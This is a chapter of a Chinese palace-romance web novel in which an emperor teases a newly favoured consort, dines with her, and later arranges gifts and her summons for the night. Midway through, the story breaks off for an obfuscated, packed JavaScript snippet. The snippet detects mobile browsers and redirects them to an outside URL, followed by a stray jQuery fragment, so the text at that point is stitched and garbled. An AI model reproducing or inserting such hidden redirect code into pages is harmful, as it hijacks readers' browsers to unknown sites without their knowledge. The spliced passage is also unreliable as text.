“皇上!”
盛珑玉连闺中好友都没吐露过,自己右边不管是耳朵、脖子还是腰身,都比左边更敏锐。
或者说她自己也从未这么清晰地感受过,以前她只知道右腰上有易痒之要处。
二哥曾玩笑说过,她若有朝一日被处以痒刑,定坚持不过三息。盛珑玉彼时不屑一顾,嗤之以鼻。
如今真是欲哭无泪,因为她察觉到自己半个身子都酥麻了,心痒难忍,尚有理智在强撑着不至于失态。
这与情动无甚干系,纯粹是百般不自在,又脱身不得。
冬见她们几人,不知何时已轻手轻脚地从水榭台内退下,无一人胆敢打搅他们。
“皇、皇上!!”她轻轻颤抖,无意识的轻微挣扎着的身体,忽而僵硬在他怀里。
口中的惊呼声,又多了些许无措和错愕,深究下去还暗藏着两分委屈慌乱。
凤栖安嘴角抽动了两下,属实没想到自己某些方面,还挺有自我意识,半点不受他掌控。
“没想把你怎么样。”
他啧了声,把人往上抱了抱,温香软玉在怀,可惜刚到晌午外面日头正盛。
盛珑玉紧张了好一会儿,察觉他的确没有更过分的动作,孟浪的在她可接受的范畴之内,可算安心了。
浑身软绵绵的嵌在他怀里。
许久过后,终于平静了下来。
凤栖安与她十指相扣,肆意揉捏着她的每一根手指、每一处指节,他早就想这么干了。
摸着捏着还犹觉不够,在她耳旁低语:
“下次就没那么轻易了。”
说着手上的动作也没停,弦外之音昭然若揭。
她难以置信的半转过脸,放肆大胆地瞪了瞪他。分明是他的问题,怎么还成了自己不是,他好过分。
“哼哼,妾方才跟冬见竹夏她们说,想把午膳摆在这里。皇上您看已经午时了,您是要回紫宸殿呢还是在妾这用膳呢。”
敢怒不敢言,只好转移话题。
凤栖安不知怎的,从她脸上看出几分期待,究竟是期待他留下用膳还是期待旁的……
他懒得说。
戳了戳她的额头,凤栖安松开手让她得以脱身,回坐到一旁。
“朕的确饿了。”
因皇上留在扶摇小筑用膳的缘故,御膳房今日殷勤备至,打起十二分精神关注着这里。
传膳的话刚落没多久,时刻准备着的御膳房菜肴如流水般送来。
皇上所用份例、菜色和火候,哪里是盛珑玉区区一个美人能比得上的。
先帝在时极为奢侈,每日早午正膳都要上九九之数道菜品,还尤为喜欢各种特色菜肴,御膳房大厨为想着做什么都要绞尽脑汁。
凤栖安继位后,御膳房几乎毫无用武之地,这位新帝于膳食并不讲究也不爱排场,珍馐美味吃得清粥小菜也能吃得。
某种程度上比先帝还难伺候。
今日摆膳扶摇小筑,御膳房也不知是想讨皇上欢心,还是想讨好盛美人,可谓是费足了功夫。
直让她看花了眼,情绪明显高涨了许多。
凤栖安舌尖抵了抵牙,欲啧又止,让她伴驾都没这么高兴,看几道菜倒是欢喜得两眼放光。
见面前的女子眼巴巴等着宫人试菜,冯敬时布菜,最后紧紧地落在自己的右手,?等着动筷。
他故意慢悠悠地抬筷,慢悠悠地夹起一块藕片,慢悠悠地送入口……还没送,突然变道又放了回去。
感受到女子极其明显的跌宕起伏的情绪,凤栖安没忍住轻笑出声,在她气急败坏恼羞成怒之前,终于尝了口。
“用吧。”他大发善心,没多逗弄。
美食当前,盛珑玉大度的不理会他幼稚的戏弄,眼神瞄向冬见。冬见与她心灵相通般,率先为她夹来一筷子八宝鸭。
一口下去,软糯鲜香。
凤栖安前些日子对吃食不甚讲究,繁忙时连茶水都懒得喝,今天在这看着她大快朵颐的享受模样,也不禁多用了些。
等到放下筷子,他已然吃了个八分饱,不动声色地揉了揉自己的肚子,他都不知道自己今日胃口这么好。
也压根没发现站在旁边的冯敬时,几欲老泪纵横,恨不得皇上每顿都这么好伺候。
午膳后,凤栖安坐了会儿就离开了,放松了半日也该回去处理政务了。
只临走前,手痒难耐再次戳了戳她的额头,才勾着唇角心情大悦地离开。
什么毛病!
盛珑玉揉了揉额头,对镜一看都红了,手劲有够大的。
她在心里骂骂咧咧了两句,转过来刚好把竹夏脸上的疑惑和一点点不高兴,看在眼里。
“怎么了这是?谁给你脸色看了。”她打趣道。
冬见端了杯茶来放在她面前,闻言看了竹夏一眼,颇为无奈。
竹夏闷闷开口:“奴婢只是想不明白,怎么没再多说点什么。”
多说什么?无非是希望皇上暗示一番“晚上还会来,可能会宣她侍寝”之类的话。
竹夏不是真有怨言也不是真不高兴,她只是担忧,皇上今晚不召人侍寝就罢了,倘若召的不是主子而是别人可怎么办?
那小主今日再招人眼热,等到明天只会成为更大的笑话。
与皇上接触不多,竹夏却也看出了,这是位随心所欲让人琢磨不透的主。
正因如此,她才担忧。
“就你小脑袋瓜子,天天想这么多。”冬见没好气地敲了敲她,旁人面前还好,在主子面前什么情绪都展露无遗。
盛珑玉打了个哈欠,神色里多了些困倦,“想那么多作甚,到了晚上就知道了,交代你办的事别忘了。”
“小主放心,奴婢记得牢牢的呢!”
“好。”
冬见和竹夏见她乏了,很快就悄声退了出去,让主子在屋内午憩。
-
紫宸殿。
凤栖安批了七八本奏折,可算是消了食,便是没消也被手上这封新折子上的内容,气消了。
眼下在内伺候是御前的另一位大公公汤皓,也是当时来盛府宣读圣旨的那位。
汤皓一不小心瞥见了奏折末处落下的名讳和印章,霎时间从身到脑子里的筋都支棱了起来,大气都不敢喘一下。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17588769|205395||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
圣上回回看徐大将军递上来的折子,就没哪次能心情好,或是大发雷霆或是冷笑着召几位大臣前来训斥。
这时候,恐怕唯有盛大人前来,才能平息这股怒火了。
汤皓不由往外悄悄瞟了一眼,暗骂道冯敬时这老家伙真是走运,偏偏被皇上遣出去了,可苦了自己。
“去传……”凤栖安正开口。
汤皓越发躬身恭敬,手心里冒了许多的汗。
还未说完,殿门口的提花竹帘动了动,走运的冯敬时,运道走偏了,好巧不巧地在这关头回来了。
呼……汤皓平衡了,甚至还微妙的更同情他三分。
冯敬时没发现殿内的气氛不对吗?怎么可能,他压下苦笑,佯装不觉地走近,将双手捧着的小册子呈到御案前。
“启禀皇上,这是殿中省拟的赏赐单子,以盛美人小主的位分,只是寻常的赏赐合该是这些数,奴才斗胆将今年新到的冰蚕丝也添了几匹在里面。”
凤栖安扣下让人生气的折子,接过册子翻了翻。
数量确实不多,依着他的态度,殿中省竭力把里头平平无奇的玩意,换成了更好的。
惯会讨巧,看碟下菜。
册子被随意地丢在面前的案面上,殿内的气氛更加凝滞,皇上的神色恢复如常,眼神却是冷的。
冯敬时咯噔一下感觉不好,近身伺候圣上越久就该越发明白,他勃然大怒时不可怕,而当他面色如常、不动声色时,才是真动怒了。
君心难测。
他不禁为盛美人捏了把汗,皇上不会、应该不会迁怒吧,可能也许大概?
整个紫宸殿足足屏息静默了十数个呼吸间,才终于响起了一点动静。
是皇上手指点在册子上的细微声响。
“殿中省办事也稀松了,汤皓你去问问管启,若是坐累了就让他歇歇。”
汤皓先是一惊继而大喜,面上不露丝毫,领了命就去了。
“你去私库亲自挑着得用的送去扶摇小筑。”凤栖安接着吩咐冯敬时,想了想又说,“我记得还有几匹霞影纱,并着冰蚕丝一块送去,挑着你盛主子喜欢的颜色。”
冯敬时一时间不知道自己是该松快,还是该为难,他个奴才哪里知道盛美人喜欢什么颜色。
“是。”
他也领了命退下。
眼看冯敬时都快退出殿门了,凤栖安忽然又改了主意。
“等下,还有那对福禄寿三彩的……算了,你回来。”
冯敬时脚步顿了顿,眼瞅着皇上改变心意不允了,又赶紧小跑着回来,立在殿下,摸不着头脑。
“明日再去。”
哦,明白了。
冯敬时眼珠子灵活地动了动,适时往前两步,讨好地笑着:“皇上果真是神机妙算,我刚从殿中省回来的时候遇到了温公公,说新小主的绿头牌可算是重新打造好了,晚些时候正要呈上来给您过目呢!”
凤栖安戏谑一笑:“那朕是得好好看看。”
-
晚间,天色稍暗。
敬事房来人传了消息,宣今晚扶摇小筑侍寝。